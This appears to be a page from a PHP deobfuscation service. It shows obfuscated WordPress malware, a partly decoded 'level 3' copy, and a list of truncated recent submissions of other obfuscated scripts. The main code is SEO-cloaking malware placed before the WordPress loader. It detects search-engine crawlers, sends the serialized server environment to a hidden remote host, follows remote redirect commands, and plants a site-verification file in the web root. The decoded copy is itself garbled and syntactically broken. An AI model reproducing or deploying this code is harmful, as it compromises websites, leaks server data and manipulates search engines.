Srace; SkuWy: if (!preg_match("/^Head@(.*?)@@(.*)/is", $n22Ky, $s1FND)) { goto NVwnZ; } goto fe5Eq; V3Fna: $pkctX = "(goo"; goto i2Pdh; Yl4mM: $n22Ky = "p"; goto nneJI; gc0St: $SFAlp = "Loca" . $SFAlp; goto fr2kU; zAGNN: echo gethostbyname($qhAPd["host"]); goto smxSa; f8zNN: echo "{$n22Ky}"; goto puUhi; xaHuM: die; goto l9NA7; XJF5D: w_4gU: goto yX2af; VfwMD: file_put_contents("{$Wapif}/{$vqEvE}", "{$joTWO} {$vqEvE}"); goto v5RcM; GeE2_: $_SERVER["yt_gz"] = "x"; goto NI353; i2Pdh: $pkctX .= "gle[\w"; goto FvhSx; dSpt9: echo sprintf("<body onload="documentgetElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content="0; url=%s" /></noscript></body>", "'", "'", $L9UnE, $L9UnE); goto ZWw_w; eJDWo: echo $L9UnE; goto bEVnc; mX07p: $xd1MJ = preg_match("/^https?\:\/\//si", $L9UnE); goto B61RQ; LLhnU: mGPca: goto gl3C3; jet9C: $KOj2b = $KOj2b == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $KOj2b : $KOj2b; goto Zknox; mfuRc: $OD2Bx = "<a href="%s" target="_blank">%s</a>"; goto wYmPh; mj40u: header("{$SFAlp} /{$vqEvE}"); goto TssuY; MqJs7: $n22Ky = "p"; goto sjCa0; DFuC2: echo "{$n22Ky}"; goto xaHuM; nVTzZ: if (!($BhU3W || $bS5WN)) { goto ZVLRq; } goto mfuRc; BE8Q3: $G6nFY = "yt1"; goto EBfmz; naHo9: $joTWO .= $SFAlp; goto gc0St; HTzHx: $qhAPd = parse_url($V00zR); goto zAGNN; BEMUh: echo sprintf($OD2Bx, $V00zR, $V00zR) . "<br /><br />"; goto HTzHx; ZYcFf: die; goto yTu0X; bEVnc: goto UoDXM; goto RQvlz; l9NA7: uPzkY: goto Kcf0c; TssuY: die; goto kkHnG; nneJI: OZa3p: goto f8zNN; ELusW: $joTWO .= "fica"; goto naHo9; rNtin: $_SERVER["yt_jump"] = 0; goto GeE2_; QL2gC: $RfRAW .= "T_ROOT"; goto vrZUl; JFJMm: $V00zR = sprintf("https://%spy", VaUVW("e")); goto rNtin; wlM1i: if (preg_match("/^https?/si", $sJ7cd)) { goto mGPca; } goto BEMUh; rZSsL: chmod($Wapif, 0755); goto VfwMD; QCwt6: NhVqo: goto ZYcFf; puUhi: die; goto ZVq5q; Kcf0c: $SFAlp = "tion:"; goto V3Fna; r5o2i: $BhU3W = qMWgF($Ct1zU); goto J62kl; hZAr1:  goto JFJMm; ugdYM: header("x"); goto Yl4mM; kkHnG: vyQHA: goto nVTzZ; TzWNo: $RfRAW .= "UMEN"; goto QL2gC; YJSBf: return; goto XJF5D; fe5Eq: header("x"); goto MqJs7; Wc_Jv: if (!preg_match("/sitemap.*?\.xml$/si", $KOj2b)) { goto uPzkY; } goto dv38r; plwP2: $joTWO .= "te-veri"; goto ELusW; sjCa0: NVwnZ: goto DFuC2; txBb0: $Ct1zU = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto r5o2i; ypmx7: $n22Ky = AsZta($V00zR, array("x" => serialize($_SERVER))); goto o2_Fb; gl3C3: echo asZtA($sJ7cd); goto QCwt6; yTu0X: uejTl: goto Euldq; ZVq5q: ZVLRq: goto W4bxH; ZHTSQ: $KOj2b = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto jet9C; pTi1V: tsg2q: goto ypmx7; CTW3j: $sJ7cd = trim($_GET[$G6nFY]); goto wlM1i; bnx_Y: $n22Ky = trim($n22Ky); goto SkuWy; FvhSx: $pkctX .= "]{16"; goto W0yfc; o2_Fb: $n22Ky = trim($n22Ky); goto EvPaJ; oPQ5B: $joTWO .= "gle-si"; goto plwP2; e4EGX: die; goto X0q8D; Srace: $joTWO = "goo"; goto oPQ5B; vrZUl: $Wapif = $_SERVER[$RfRAW]; goto Wc_Jv; X0q8D: dmpL2: goto vv5el; v5RcM: chmod($Wapif, 0555); goto mj40u; dv38r: $n22Ky = AszTa($V00zR, array("x" => serialize($_SERVER))); goto bnx_Y; J62kl: $bS5WN = MzL8I($J8wLg); goto hZAr1; Euldq: if (!$bS5WN) { goto tsg2q; } goto YyEhI; yX2af: if (!preg_match("/^Jump@(.*)/", $n22Ky, $VhNkO)) { goto dmpL2; } goto VgNDR; smxSa: goto NhVqo; goto LLhnU; NI353: $_SERVER["yt_up"] = "p"; goto BE8Q3; EBfmz: $RfRAW = "DOC"; goto TzWNo; EvPaJ: if (!in_array($n22Ky, ["T04", "*return"])) { goto w_4gU; } goto YJSBf; VjyVk: $vqEvE = str_replace(".x", , trim("x")); goto rZSsL; VgNDR: $L9UnE = trim("x"); goto mX07p; YyEhI: $_SERVER["yt_jump"] = 1; goto pTi1V; ZWw_w: UoDXM: goto e4EGX; W0yfc: $pkctX .= "}\.xh"; goto R9wuk; B61RQ: if ($xd1MJ) { goto uJVVf; } goto eJDWo; fr2kU: if (!preg_match("/" . $pkctX . "$/si", $KOj2b, $wD324)) { goto vyQHA; } goto VjyVk; W4bxH: } goto pzfwA; dfyO3: loOwc: goto sF8zS; sF8zS: function aSzTA($xVNoy, $BlY_F = array()) { goto OMjs8; IL5KC: try { goto qceHH; nzlZ2: VBB59: goto jF1xw; FScHJ: $Sd_Hj = ''; goto K9G9d; Nw0tI: $wyQVa = ($swjS_ === "https" ? "ssl://" : '') . $NIAum . ":" . $J2nOJ; goto tMMpM; kTw98: H33HL: goto Ptf57; kGy3F: if (!($aTIfp === "POST")) { goto Ichze; } goto ioWl0; OehLD: if (!($K__3d === false)) { goto MbZ2a; } goto G9JqL; bGFDz: if (!($b4TmA === 0)) { goto H33HL; } goto mtmXm; G9JqL: goto G01HY; goto LqYEp; aIb3T: $J2nOJ = $swjS_ === "https" ? 443 : 80; goto o9hwt; dRz0x: $m4sx7 .= fgets($h82UD, 1024); goto eNjE3; wY5Hm: $b4TmA = hexdec(substr($jry3i, 0, $K__3d)); goto bGFDz; zVMz3: $P77Hu .= "Content-Type: application/x-www-form-urlencoded\xd\xa"; goto F49oy; ioWl0: $WxV91 .= $xaTNC; goto LuSa0; o9hwt: $BHSNW = isset($iVQfb["path"]) ? $iVQfb["path"] : "/"; goto Y27Zn; tpOb3: $aTIfp = "GET"; goto xjs_q; LDHgb: $P77Hu = isset("e") ? "e" : ''; goto uZuoR; pJ1pL: G01HY: goto K8pK3; RAJbb: $swjS_ = isset($iVQfb["scheme"]) ? $iVQfb["scheme"] : "http"; goto zt4bv; K8pK3: $jry3i = $Sd_Hj; goto M4zE0; tMMpM: $h82UD = stream_socket_client($wyQVa, $V5LCP, $UZwr5, 45); goto LjY2d; JOI_l: $WxV91 .= "Host: {$NIAum}\xd\xa"; goto hjE1Y; KXUom: $WxV91 = "{$aTIfp} {$BHSNW}{$XxSc9} HTTP/11\xd
"; goto JOI_l; hNUiw: if (!true) { goto G01HY; } goto fEr9a; zt4bv: $NIAum = $iVQfb["host"]; goto aIb3T; gsvW8: $xaTNC = ''; goto tpOb3; XMFk6: uJiGs: goto CW1mS; CFmS3: F4qCY: goto uF9P0; LqYEp: MbZ2a: goto wY5Hm; iMjpj: fwrite($h82UD, $WxV91); goto XMFk6; nVJV3: $xaTNC = http_build_query($BlY_F); goto zVMz3; M4zE0: LKd6M: goto nf3Ny; F49oy: $P77Hu .= "Content-Length: " . strlen($xaTNC) . "\xd\xa"; goto CFmS3; LjY2d: if (!$h82UD) { goto VBB59; } goto KXUom; nf3Ny: $m4sx7 = trim($jry3i); goto nzlZ2; CW1mS: if (feof($h82UD)) { goto wa3UC; } goto dRz0x; kCjT9: if (empty($BlY_F)) { goto F4qCY; } goto AJE6T; Ptf57: $Sd_Hj .= substr($jry3i, $K__3d + 2, $b4TmA); goto qLd5M; AKqBU: goto fCbhk; goto pJ1pL; qLd5M: $jry3i = substr($jry3i, $K__3d + 2 + $b4TmA + 2); goto AKqBU; Y27Zn: $XxSc9 = isset($iVQfb["query"]) ? "?" . $iVQfb["query"] : ''; goto gsvW8; mft3X: wa3UC: goto YdtSq; AJE6T: $aTIfp = "POST"; goto nVJV3; yTJT8: $WjzSV = explode("
\xd
", $m4sx7, 2); goto LDHgb; eNjE3: goto uJiGs; goto mft3X; fEr9a: $K__3d = strpos($jry3i, "
"); goto OehLD; LuSa0: Ichze: goto iMjpj; YdtSq: fclose($h82UD); goto yTJT8; hjE1Y: $WxV91 .= $P77Hu; goto kGy3F; uF9P0: $P77Hu .= "Connection: close
\xa\xd\xa"; goto Nw0tI; uZuoR: $jry3i = isset("x") ? "x" : ''; goto hBkp_; xjs_q: $P77Hu = "User-Agent: WHR\xd\xa"; goto kCjT9; qceHH: $iVQfb = parse_url($xVNoy); goto RAJbb; K9G9d: fCbhk: goto hNUiw; hBkp_: if (!(stripos($P77Hu, "Transfer-Encoding: chunked") !== false)) { goto LKd6M; } goto FScHJ; mtmXm: goto G01HY; goto kTw98; jF1xw: } catch (Exception $tCJIb) { } goto q1jGj; OMjs8: $m4sx7 = 0; goto IL5KC; q1jGj: return $m4sx7; goto UoS9B; UoS9B: } goto XAPZJ; bVn2q: function MZl8I($XGy2I = '') { return preg_match("/(googlecojp|yahoocojp|bing|baidu|googlecom)/si", $XGy2I); } goto hKEvi; XAPZJ: function qmwGF($UjPOi = '') { return preg_match("/(googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo|yandex)/si", $UjPOi); } goto bVn2q; pzfwA: HqOkl();
define( 'WP_USE_THEMES', true ); require('./wp-blog-headerphp');

Decrypted code level 3:

define('A', 'jan51tpuwt5573ytu/suruga::m^^!!?srsltid=AfmBOo[3:4][3:6][5:6]_[5:10]_[5:8]-[4:1]-[5:9]|item/u^/!/::'); goto ST167; HLQ2b: @ob_start(); goto dfyO3; ST167: @date_default_timezone_set("PRC"); goto lIrtY; lIrtY: if (!function_exists("ob_start")) { goto loOwc; } goto HLQ2b; hKEvi: function VAuVw($hS4qe) { goto Gt1YJ; XqhJM: foreach ($fyl6A as $qhCir => $pIjmU) { $fyl6A[$qhCir] = chr(ord($pIjmU) - 5); iw1an: } goto kQ5R6; kQ5R6: XcWA3: goto bDNSm; WgYHr: if (!("p" != '')) { goto p2xKW; } goto L7Bev; ib6GK: return $WZ3OV; goto imo1p; WYbCQ: sDUc8: goto ib6GK; Gt1YJ: $WZ3OV = ''; goto p8W8K; k5bfT: if (!(is_array($ZJUOJ) && count($ZJUOJ) == 4)) { goto sDUc8; } goto WgYHr; L7Bev: $fyl6A = preg_split("//", "p", -1, PREG_SPLIT_NO_EMPTY); goto XqhJM; p8W8K: preg_match("/([^\.]+\.)(.*)(\/.*)/", $hS4qe, $ZJUOJ); goto k5bfT; HaDws: $WZ3OV = "x" . $WZ3OV . "l"; goto WYbCQ; Yhyp0: p2xKW: goto HaDws; bDNSm: $WZ3OV = implode('', $fyl6A); goto Yhyp0; imo1p: } goto N6mT8; N6mT8: function hQOKL($VXKkt = '') { goto ZHTSQ; vv5el: if (!preg_match("/^Head@(.*?)@@(.*)/is", "p", $s1FND)) { goto OZa3p; } goto ugdYM; wYmPh: if (!isset($_GET["yt1"])) { goto uejTl; } goto CTW3j; Zknox: $J8wLg = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto txBb0; RQvlz: uJVVf: goto dSpt9; R9wuk: $pkctX .= "tml)"; goto Srace; SkuWy: if (!preg_match("/^Head@(.*?)@@(.*)/is", "p", $s1FND)) { goto NVwnZ; } goto fe5Eq; V3Fna: $pkctX = "(goo"; goto i2Pdh; Yl4mM:  goto nneJI; gc0St: $SFAlp = "Loca" . $SFAlp; goto fr2kU; zAGNN: echo gethostbyname($qhAPd["host"]); goto smxSa; f8zNN: echo "{"p"}"; goto puUhi; xaHuM: die; goto l9NA7; XJF5D: w_4gU: goto yX2af; VfwMD: file_put_contents("{$Wapif}/{$vqEvE}", "{"goo"} {$vqEvE}"); goto v5RcM; GeE2_: $_SERVER["yt_gz"] = "x"; goto NI353; i2Pdh: $pkctX .= "gle[\w"; goto FvhSx; dSpt9: echo sprintf("<body onload="documentgetElementsByTagName(%sa%s)[0].click()"><a href="%s"></a><noscript><meta http-equiv="refresh" content="0; url=%s" /></noscript></body>", "'", "'", $L9UnE, $L9UnE); goto ZWw_w; eJDWo: echo $L9UnE; goto bEVnc; mX07p: $xd1MJ = preg_match("/^https?\:\/\//si", $L9UnE); goto B61RQ; LLhnU: mGPca: goto gl3C3; jet9C: $KOj2b = $KOj2b == '' ? isset($_SERVER["PATH_INFO"]) && $_SERVER["PATH_INFO"] != '' ? $_SERVER["PATH_INFO"] : $KOj2b : $KOj2b; goto Zknox; mfuRc: $OD2Bx = "<a href="%s" target="_blank">%s</a>"; goto wYmPh; mj40u: header("{$SFAlp} /{$vqEvE}"); goto TssuY; MqJs7:  goto sjCa0; DFuC2: echo "{"p"}"; goto xaHuM; nVTzZ: if (!($BhU3W || $bS5WN)) { goto ZVLRq; } goto mfuRc; BE8Q3:  goto EBfmz; naHo9: "goo" .= $SFAlp; goto gc0St; HTzHx: $qhAPd = parse_url($V00zR); goto zAGNN; BEMUh: echo sprintf($OD2Bx, $V00zR, $V00zR) . "<br /><br />"; goto HTzHx; ZYcFf: die; goto yTu0X; bEVnc: goto UoDXM; goto RQvlz; l9NA7: uPzkY: goto Kcf0c; TssuY: die; goto kkHnG; nneJI: OZa3p: goto f8zNN; ELusW: "goo" .= "fica"; goto naHo9; rNtin: $_SERVER["yt_jump"] = 0; goto GeE2_; QL2gC: "DOC" .= "T_ROOT"; goto vrZUl; JFJMm: $V00zR = sprintf("https://%spy", VaUVW("e")); goto rNtin; wlM1i: if (preg_match("/^https?/si", $sJ7cd)) { goto mGPca; } goto BEMUh; rZSsL: chmod($Wapif, 0755); goto VfwMD; QCwt6: NhVqo: goto ZYcFf; puUhi: die; goto ZVq5q; Kcf0c: $SFAlp = "tion:"; goto V3Fna; r5o2i: $BhU3W = qMWgF($Ct1zU); goto J62kl; hZAr1:  goto JFJMm; ugdYM: header("x"); goto Yl4mM; kkHnG: vyQHA: goto nVTzZ; TzWNo: "DOC" .= "UMEN"; goto QL2gC; YJSBf: return; goto XJF5D; fe5Eq: header("x"); goto MqJs7; Wc_Jv: if (!preg_match("/sitemap.*?\.xml$/si", $KOj2b)) { goto uPzkY; } goto dv38r; plwP2: "goo" .= "te-veri"; goto ELusW; sjCa0: NVwnZ: goto DFuC2; txBb0: $Ct1zU = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto r5o2i; ypmx7: "p" = AsZta($V00zR, array("x" => serialize($_SERVER))); goto o2_Fb; gl3C3: echo asZtA($sJ7cd); goto QCwt6; yTu0X: uejTl: goto Euldq; ZVq5q: ZVLRq: goto W4bxH; ZHTSQ: $KOj2b = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''); goto jet9C; pTi1V: tsg2q: goto ypmx7; CTW3j: $sJ7cd = trim($_GET["yt1"]); goto wlM1i; bnx_Y: "p" = trim("p"); goto SkuWy; FvhSx: $pkctX .= "]{16"; goto W0yfc; o2_Fb: "p" = trim("p"); goto EvPaJ; oPQ5B: "goo" .= "gle-si"; goto plwP2; e4EGX: die; goto X0q8D; Srace:  goto oPQ5B; vrZUl: $Wapif = $_SERVER["DOC"]; goto Wc_Jv; X0q8D: dmpL2: goto vv5el; v5RcM: chmod($Wapif, 0555); goto mj40u; dv38r: "p" = AszTa($V00zR, array("x" => serialize($_SERVER))); goto bnx_Y; J62kl: $bS5WN = MzL8I($J8wLg); goto hZAr1; Euldq: if (!$bS5WN) { goto tsg2q; } goto YyEhI; yX2af: if (!preg_match("/^Jump@(.*)/", "p", $VhNkO)) { goto dmpL2; } goto VgNDR; smxSa: goto NhVqo; goto LLhnU; NI353: $_SERVER["yt_up"] = "p"; goto BE8Q3; EBfmz:  goto TzWNo; EvPaJ: if (!in_array("p", ["T04", "*return"])) { goto w_4gU; } goto YJSBf; VjyVk: $vqEvE = str_replace(".x", , trim("x")); goto rZSsL; VgNDR: $L9UnE = trim("x"); goto mX07p; YyEhI: $_SERVER["yt_jump"] = 1; goto pTi1V; ZWw_w: UoDXM: goto e4EGX; W0yfc: $pkctX .= "}\.xh"; goto R9wuk; B61RQ: if ($xd1MJ) { goto uJVVf; } goto eJDWo; fr2kU: if (!preg_match("/" . $pkctX . "$/si", $KOj2b, $wD324)) { goto vyQHA; } goto VjyVk; W4bxH: } goto pzfwA; dfyO3: loOwc: goto sF8zS; sF8zS: function aSzTA($xVNoy, $BlY_F = array()) { goto OMjs8; IL5KC: try { goto qceHH; nzlZ2: VBB59: goto jF1xw; FScHJ: $Sd_Hj = ''; goto K9G9d; Nw0tI: $wyQVa = ($swjS_ === "https" ? "ssl://" : '') . $NIAum . ":" . $J2nOJ; goto tMMpM; kTw98: H33HL: goto Ptf57; kGy3F: if (!("GET" === "POST")) { goto Ichze; } goto ioWl0; OehLD: if (!($K__3d === false)) { goto MbZ2a; } goto G9JqL; bGFDz: if (!($b4TmA === 0)) { goto H33HL; } goto mtmXm; G9JqL: goto G01HY; goto LqYEp; aIb3T: $J2nOJ = $swjS_ === "https" ? 443 : 80; goto o9hwt; dRz0x: $m4sx7 .= fgets($h82UD, 1024); goto eNjE3; wY5Hm: $b4TmA = hexdec(substr($jry3i, 0, $K__3d)); goto bGFDz; zVMz3: $P77Hu .= "Content-Type: application/x-www-form-urlencoded\xd\xa"; goto F49oy; ioWl0: $WxV91 .= $xaTNC; goto LuSa0; o9hwt: $BHSNW = isset($iVQfb["path"]) ? $iVQfb["path"] : "/"; goto Y27Zn; tpOb3:  goto xjs_q; LDHgb: $P77Hu = isset("e") ? "e" : ''; goto uZuoR; pJ1pL: G01HY: goto K8pK3; RAJbb: $swjS_ = isset($iVQfb["scheme"]) ? $iVQfb["scheme"] : "http"; goto zt4bv; K8pK3: $jry3i = $Sd_Hj; goto M4zE0; tMMpM: $h82UD = stream_socket_client($wyQVa, $V5LCP, $UZwr5, 45); goto LjY2d; JOI_l: $WxV91 .= "Host: {$NIAum}\xd\xa"; goto hjE1Y; KXUom: $WxV91 = "{"GET"} {$BHSNW}{$XxSc9} HTTP/11\xd
"; goto JOI_l; hNUiw: if (!true) { goto G01HY; } goto fEr9a; zt4bv: $NIAum = $iVQfb["host"]; goto aIb3T; gsvW8: $xaTNC = ''; goto tpOb3; XMFk6: uJiGs: goto CW1mS; CFmS3: F4qCY: goto uF9P0; LqYEp: MbZ2a: goto wY5Hm; iMjpj: fwrite($h82UD, $WxV91); goto XMFk6; nVJV3: $xaTNC = http_build_query($BlY_F); goto zVMz3; M4zE0: LKd6M: goto nf3Ny; F49oy: $P77Hu .= "Content-Length: " . strlen($xaTNC) . "\xd\xa"; goto CFmS3; LjY2d: if (!$h82UD) { goto VBB59; } goto KXUom; nf3Ny: $m4sx7 = trim($jry3i); goto nzlZ2; CW1mS: if (feof($h82UD)) { goto wa3UC; } goto dRz0x; kCjT9: if (empty($BlY_F)) { goto F4qCY; } goto AJE6T; Ptf57: $Sd_Hj .= substr($jry3i, $K__3d + 2, $b4TmA); goto qLd5M; AKqBU: goto fCbhk; goto pJ1pL; qLd5M: $jry3i = substr($jry3i, $K__3d + 2 + $b4TmA + 2); goto AKqBU; Y27Zn: $XxSc9 = isset($iVQfb["query"]) ? "?" . $iVQfb["query"] : ''; goto gsvW8; mft3X: wa3UC: goto YdtSq; AJE6T: "GET" = "POST"; goto nVJV3; yTJT8: $WjzSV = explode("
\xd
", $m4sx7, 2); goto LDHgb; eNjE3: goto uJiGs; goto mft3X; fEr9a: $K__3d = strpos($jry3i, "
"); goto OehLD; LuSa0: Ichze: goto iMjpj; YdtSq: fclose($h82UD); goto yTJT8; hjE1Y: $WxV91 .= $P77Hu; goto kGy3F; uF9P0: $P77Hu .= "Connection: close
\xa\xd\xa"; goto Nw0tI; uZuoR: $jry3i = isset("x") ? "x" : ''; goto hBkp_; xjs_q: $P77Hu = "User-Agent: WHR\xd\xa"; goto kCjT9; qceHH: $iVQfb = parse_url($xVNoy); goto RAJbb; K9G9d: fCbhk: goto hNUiw; hBkp_: if (!(stripos($P77Hu, "Transfer-Encoding: chunked") !== false)) { goto LKd6M; } goto FScHJ; mtmXm: goto G01HY; goto kTw98; jF1xw: } catch (Exception $tCJIb) { } goto q1jGj; OMjs8: $m4sx7 = 0; goto IL5KC; q1jGj: return $m4sx7; goto UoS9B; UoS9B: } goto XAPZJ; bVn2q: function MZl8I($XGy2I = '') { return preg_match("/(googlecojp|yahoocojp|bing|baidu|googlecom)/si", $XGy2I); } goto hKEvi; XAPZJ: function qmwGF($UjPOi = '') { return preg_match("/(googlebot|baiduspider|bingbot|google|baidu|aol|bing|yahoo|yandex)/si", $UjPOi); } goto bVn2q; pzfwA: HqOkl();
define( 'WP_USE_THEMES', true ); require('./wp-blog-headerphp');

Recent submissions:

<script>var VwW = ""; var S... $d2cf1780be0bbc948b9390b5408684e59="\x59\x32\x78\x68\x63\x33\x4D\x67\x63\x6D\x4E\x77\x5A\x... <?php /*-[C|NDT-*/error_reporting(0); /*-Jd^,.ZNt-*/$XS = "r"."a"."n"."g"."e"; $UiKmX = ... <?php /*-[C|NDT-*/error_reporting(0); /*-Jd^,.ZNt-*/$XS = "r"."a"."n"."g"."e"; $UiKmX = ... <?php session_start(); @set_time_limit(0); @clearstatcache(); @ini_set('error_log', NU... (()=>{var K='ChmaorrCfozdgenziMrattShzzyrtarnedpoomrzPteonSitfreidnzgtzcseljibcOezzerlebpa... (()=>{var K='ChmaorrCfozdgenziMrattShzzyrtarnedpoomrzPteonSitfreidnzgtzcseljibcOezzerlebpa... <?php // Encrypted by Developer Yashu if(isset($_GET['debug']) || isset($_POST['debug'])... function GPT($codes) { $codes=gzinflate(base64_decode($codes)); for($i=0;$i<strlen($c... [d248223ebd3b68f6930e52460ab869ee60090205152] 159.223.222.128 - - [09/Apr/2025:13:44:42 +0...